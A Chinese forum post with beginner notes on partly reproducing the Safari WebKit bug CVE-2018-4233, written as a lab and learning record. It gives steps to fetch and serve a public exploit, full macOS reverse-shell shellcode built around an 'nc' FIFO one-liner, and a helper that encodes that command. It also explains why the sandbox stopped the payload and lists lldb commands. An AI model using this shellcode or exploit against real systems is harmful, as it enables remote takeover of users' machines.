首页
社区
课程
招聘
[原创][新手向] CVE-2018-4233 safari webkit漏洞 不完全 复现笔记
2019-1-29 10:48 7895

[原创][新手向] CVE-2018-4233 safari webkit漏洞 不完全 复现笔记

2019-1-29 10:48
7895

2018-12-11 CVE-2018-4233 safari webkit漏洞 不完全复现笔记

这是在safari上复现webkit漏洞时的一篇水文,最终在safari版本 12.0.1 (14606.2.104.1.1)上复现,尝试修改shellcode RCE时,发现不行。最后调试了一下发现是由于safari的sandbox。顺带学习了websocket以及lldb的一些使用方法。

0x00 安装websocked

漏洞复现需要使用websocket协议,访问5000端口。websocked是一个websocket标准的开源实现。为什么要有websoket协议呢?因为HTTP是无状态协议,服务器不能主动向client推送信息。但是建立了websocket协议后,server就可以主动向client推消息了。

 

websocketed是websocket的一个实现,macOS上的安装方法很简单:

brew install websocketd

安装完成后,下载exp并运行:

git clone https://github.com/LinusHenze/WebKit-RegEx-Exploit.git
cd WebKit-RegEx-Exploit
websocketd --port=5000 --staticdir=.

image-20181212220322451

 

更多websocket相关资料:

  1. websocket介绍 https://zh.wikipedia.org/wiki/WebSocket
  2. WebSocket教程:http://www.ruanyifeng.com/blog/2017/05/websocket.html
  3. http://www.runoob.com/html/html5-websocket.html
  4. websocketd https://github.com/joewalnes/websocketd

0x01 测试safari

打开url后,我们发现漏洞复现了,泄漏了相关的地址,并且打印了Hello World from Assembly! 这个汇编中写的字符串。

 

image-20181212202327860其中shellcode似乎是放到0x115ee7e40这个地址去了,使用 vmmap <pid> 查看泄漏的地址信息:

 

image-20181212202335385

0x02 尝试修改shellcode

如果需要修改make.py中的shellcode,需要修改汇编代码,需要安装gobjcoopy工具

# for gobjcopy
brew install binutils
./gobjcoopy
# for compile
brew install nasm

编写macos 反弹shell的shellcode,测试通过后修改WebKit-RegEx-Exploit中的stage2/make.py尝试在其中增加自己的汇编代码。shellcode脚本如下:

; date: 2018-12-11
; description: 
;        reverse /bin/sh by nc, reference: https://modexp.wordpress.com/2017/01/21/shellcode-osx/
; usage: 
;        nasm -f macho64 macOS-reverse-shellcode.asm
;        ld -macosx_version_min 10.7.0 -o macOS-reverse-shellcode macOS-reverse-shellcode.o
BITS 64

global start

section .text

start:
    xor     rax, rax
    mov     rax,0x2
    ror     rax, 0x28
    or      rax, 59
    mov rcx, rax



    xor     rdx, rdx
    mov     rbx, 0x68732f2f6e69622f
    push    rdx
    push    rbx
    push    rsp
    pop     rdi

    push    rdx
    mov     rbx, 0x632d
    push    rdx
    push    rbx
    push    rsp
    pop     rbx

    push    rdx

    mov rcx, 0x662f706d74
    push rcx
    mov rcx, 0x2f203e2037373737
    push rcx
    mov rcx, 0x20312e302e302e37
    push rcx
    mov rcx, 0x323120636e7c3126
    push rcx
    mov rcx, 0x3e3220692d206873
    push rcx
    mov rcx, 0x2f6e69622f7c662f
    push rcx
    mov rcx, 0x706d742f20746163
    push rcx
    mov rcx, 0x3b662f706d742f20
    push rcx
    mov rcx, 0x6f6669666b6d3b66
    push rcx
    mov rcx, 0x2f706d742f206d72
    push rcx

    push rsp
    pop rcx

    push    rdx
    push    rcx
    push    rbx
    push    rdi
    push    rsp
    pop     rsi

    syscall

其中执行的命令是用python脚本生成的:

#!/usr/bin/python
# date: 2018-12-11
# description: return asm shellcode : push string into stack and esp points to it!
# usage:
#       change payload and run it.
import math
def pushstr(string='/home/orw/flag',length=8):
    '''
    return asm shellcode : push string into stack and esp points to it!
    '''
    print 'pushasm: '+string
    string = string[::-1]
    pushstr = ''
    times = int(math.ceil(float(len(string))/length))
    startpos = 0
    for i in range(1,times+1):
        ilen = (len(string) - (times-i)*length)
        ilen = ilen if ilen < length else length
        istring = string[startpos:startpos+ilen].encode('hex')
        pushstr += 'mov rcx, 0x%s\npush rcx\n' % istring
        #pushstr += 'push 0x%s;' % istring
        # print 'start '+str(startpos)+' end '+str(startpos+ilen)
        startpos += ilen
    print pushstr
    # log.info("/home/orw/flag\x00".encode('hex'))
    return pushstr

payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 7777 > /tmp/f'
pushstr(payload)

'''
Output: 
pushasm: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 7777 > /tmp/f
mov rcx, 0x662f706d74
push rcx
mov rcx, 0x2f203e2037373737
push rcx
mov rcx, 0x20312e302e302e37
push rcx
mov rcx, 0x323120636e7c3126
push rcx
mov rcx, 0x3e3220692d206873
push rcx
mov rcx, 0x2f6e69622f7c662f
push rcx
mov rcx, 0x706d742f20746163
push rcx
mov rcx, 0x3b662f706d742f20
push rcx
mov rcx, 0x6f6669666b6d3b66
push rcx
mov rcx, 0x2f706d742f206d72
push rcx
'''

但是编译之后,使用safari打开就crash了。
图片描述

 

shellcode更多资料参考:

  1. shellcode https://modexp.wordpress.com/2017/01/21/shellcode-osx/
  2. shellcode https://www.exploit-db.com/exploits/38065
  3. macOS系统调用参考 https://github.com/opensource-apple/xnu/blob/master/bsd/kern/syscalls.master

0x03 crash原因

原始的exploit汇编没问题。但是我修改了exploit为反弹 shell的就不行了。因此尝试使用lldb挂上去看下原因(注意如果想要用lldb attach safari,需要先关闭SIP),但是不知道如何下断点,在shellcode中使用0xcc也无法断下。问了作者知道了原因:

Your shellcode won't work because Safari is sandboxed, you first need a Sandbox Escape to run shell commands.
The reason why you get the crash is that the syscall fails and you're not returning a valid value from your shellcode.
If you want to debug using lldb, you need to attach to WebContent, not Safari. WebContent is the Process that runs JavaScript and displays the website. Note that there will be one WebContent process for each open Tab.

 

后来我仔细看了代码,发现stage2种输出了相关字符串并不是调用syscall输出的,而是和pwn.html中的代码有关系。如果shellcode中增加了syscall会怎么样呢?用lldb attach webview,并在shellcode中增加execve的syscall后发现,确实是执行到syscall时就挂了。

 

image-20181213115101971

 

由于这个没有sandbox escape,测试了一下saelo@cve-2018-4233的exp,同样也是没有sandbox escape的。后续安装macOS老版本,测试了一下他的pwn2own2018的exploit chain,也没有打成功。以后搞safari的时候再细细研究吧!

 

补充一下lldb常用的命令

修改寄存器 register write rax 1
查看thread thread list
函数地址下断 breakpoint set -a 函数地址   // 常规断点
查看所有依赖库 image list
反汇编 disassemble -a 地址  $pc    \$rip
读内存 memory read 0x35f1c 0x35f46 -outfile /tmp/test.txt
查看signal  pro hand -p true -s false SIGBUS 
设置intel汇编 `settings set target.x86-disassembly-flavor intel` into ~/.lldbinit.

lldb 更多资料参考:

  1. lldb插件 https://github.com/snare/voltron/wiki/Installation
  2. lldb使用 https://lldb.llvm.org/lldb-gdb.html
  3. lldb调试方法 https://www.jianshu.com/p/09a4c1f7c732
  4. lldb常用方法(推荐)https://www.dllhook.com/post/51.html#toc_13
  5. lldb signal https://stackoverflow.com/questions/11984051/how-to-tell-lldb-debugger-not-to-handle-sigbus
  6. http://www.dgars.com/tech/2018/05/24/lldb-ignore-signals.html

0x04 其他参考链接

  1. uxss科普 http://www.fooying.com/uxss/
  2. site isolation https://www.chromium.org/Home/chromium-security/site-isolation
  3. webkit调试方法 https://zhuanlan.zhihu.com/p/26144355

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-1-29 10:49 被心许雪编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 351
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
五天 2019-1-29 10:55
2
0
+手动点赞
游客
登录 | 注册 方可回帖
返回